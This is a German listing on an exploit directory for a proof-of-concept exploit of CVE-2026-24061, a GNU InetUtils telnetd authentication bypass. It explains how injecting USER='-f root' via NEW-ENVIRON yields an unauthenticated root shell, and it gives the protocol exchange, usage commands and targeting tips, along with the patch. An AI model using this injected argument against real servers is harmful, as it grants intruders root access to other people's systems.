Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24061 — Proof-of-Concept-Exploit für CVE-2026-24061, eine telnetd-Authentifizierungsumgehung über Argument-Injection in der USER-Umgebungsvariable, die nicht authentifizierten Root-Shell-Zugriff ermöglicht. | Kitploit
Tools/GitHubGitHub/przemytn/cve-2026-24061
SchwachstellenanalyseExploitationWebsicherheitNetzwerksicherheitPenetrationstestsAuthentifizierung
GitHubprzemytn/cve-2026-24061

CVE-2026-24061

Proof-of-Concept-Exploit für CVE-2026-24061, eine telnetd-Authentifizierungsumgehung über Argument-Injection in der USER-Umgebungsvariable, die nicht authentifizierten Root-Shell-Zugriff ermöglicht.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24061 - telnetd Auth-Bypass

Worum es geht

Argument Injection in telnetd aus GNU InetUtils. Versionen 1.9.3 bis 2.7. CVSS 9.8. In der CISA KEV seit dem 26.01.2026, also aktiv in freier Wildbahn ausgenutzt.

Der ganze Trick besteht darin, dass telnetd den Wert der Umgebungsvariable USER vom Client über NEW-ENVIRON (RFC 1572) entgegennimmt und ihn ohne jegliche Validierung direkt in den Aufruf von login(1) einfügt. Wenn der Client USER="-f root" sendet, führt telnetd Folgendes aus:

root@kitploit:~
/usr/bin/login -p -h <host> -f root

Das Flag -f bei login bedeutet „diesen Benutzer ohne Passwort anmelden". Root-Shell, null Authentifizierung.

Mechanismus

In telnetd/telnetd.c gibt es eine Vorlage für den login-Aufruf:

root@kitploit:~
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";

%u ist der Benutzer aus der Telnet-Authentifizierung (vertrauenswürdig). %U ist der rohe Wert der env-Variable USER vom Client (nicht vertrauenswürdig). Wenn die Authentifizierung nicht aktiv ist, wird %U verwendet.

Die Variablenexpansion sitzt in telnetd/utility.c, Funktion _var_short_name:

root@kitploit:~
case 'U':
    return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");

Null Filterung. Was auch immer der Client in USER sendet, fliegt direkt in die Kommandozeile von login. Nicht nur -f root funktioniert, theoretisch kann jedes Argument, das login akzeptiert, injiziert werden.

Der Bug wurde in einem Upstream-Safe-Guard-Commit vom 19.03.2015 (fa3245ac) eingeführt. Ironischerweise sollte dieser Commit die Handhabung der Variable USER verbessern. Debian hatte dafür 2019 einen Patch (0028-telnetd-Scrub-USER-from-environment.patch), aber beim Fix von CVE-2020-10188 in Debian 10 ging der Patch verloren und der Bug kam zurück. Daher sind auch Debian 10+, Ubuntu und Derivate verwundbar.

Wie der PoC funktioniert

main.py ist ein minimaler Telnet-Client, der:

  1. sich auf Port 23 verbindet
  2. in der Verhandlung NEW-ENVIRON akzeptiert, den Rest der Optionen mit WONT beantwortet
  3. auf die SEND-Anfrage mit IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE antwortet
  4. telnetd startet login -f root, du bekommst eine Shell
  5. danach funktioniert es wie eine interaktive Sitzung, filtert IAC und ANSI-Escape-Sequenzen aus der Ausgabe
root@kitploit:~
klient                                serwer
  |--- tcp connect ------------------->|
  |<-- IAC DO NEW_ENVIRON -------------|
  |--- IAC WILL NEW_ENVIRON ---------->|
  |<-- IAC SB NEW_ENVIRON SEND --------|
  |--- SB NEW_ENVIRON IS              |
  |    VAR "USER" VALUE "-f root"      |
  |    IAC SE ------------------------>|
  |    [telnetd: login -p -h x -f root]|
  |<-- root@host:~# ------------------|

Verwendung

root@kitploit:~
python3 main.py <host>
python3 main.py <host> -p <port>

Strg+C beendet die Sitzung.

Was man nicht tun sollte

Versuche das nicht an Systemen, die kein inetutils-telnetd haben. Das Paket telnetd von netkit ist anderer Code und nicht anfällig für genau diesen Bug. Wenn du dich verbindest und einen normalen Login-Prompt statt einer Shell bekommst, hat der Server entweder bereits den Patch oder es ist kein inetutils-telnetd.

Ändere das Payload nicht auf -f <anderer_benutzer> in der Erwartung, dass es auf jedem System funktioniert. login(1) aus manchen Distributionen hat zusätzliche Einschränkungen bei -f. Auf Standard-Debian/Ubuntu funktioniert -f root problemlos.

Betroffene Versionen

SoftwareVersionen
GNU InetUtils1.9.3 - 2.7
Debian 10+inetutils-telnetd (bis zum Patch)
Debian 11behoben in 2:2.0-1+deb11u3
Ubuntuinetutils-telnetd (bis zum Patch)

Patch

Der offizielle Fix fügt eine Funktion sanitize() hinzu, die Werte ablehnt, die mit - beginnen oder Shell-Metazeichen enthalten. Angewendet auf alle Variablen in der Expansion, nicht nur USER.

root@kitploit:~
static char *
sanitize (const char *u)
{
  if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
    return u;
  else
    return "";
}
  • fd702c0 - Patch für USER
  • ccba9f7 - Sanitisierung aller Variablen
Tool herunterladen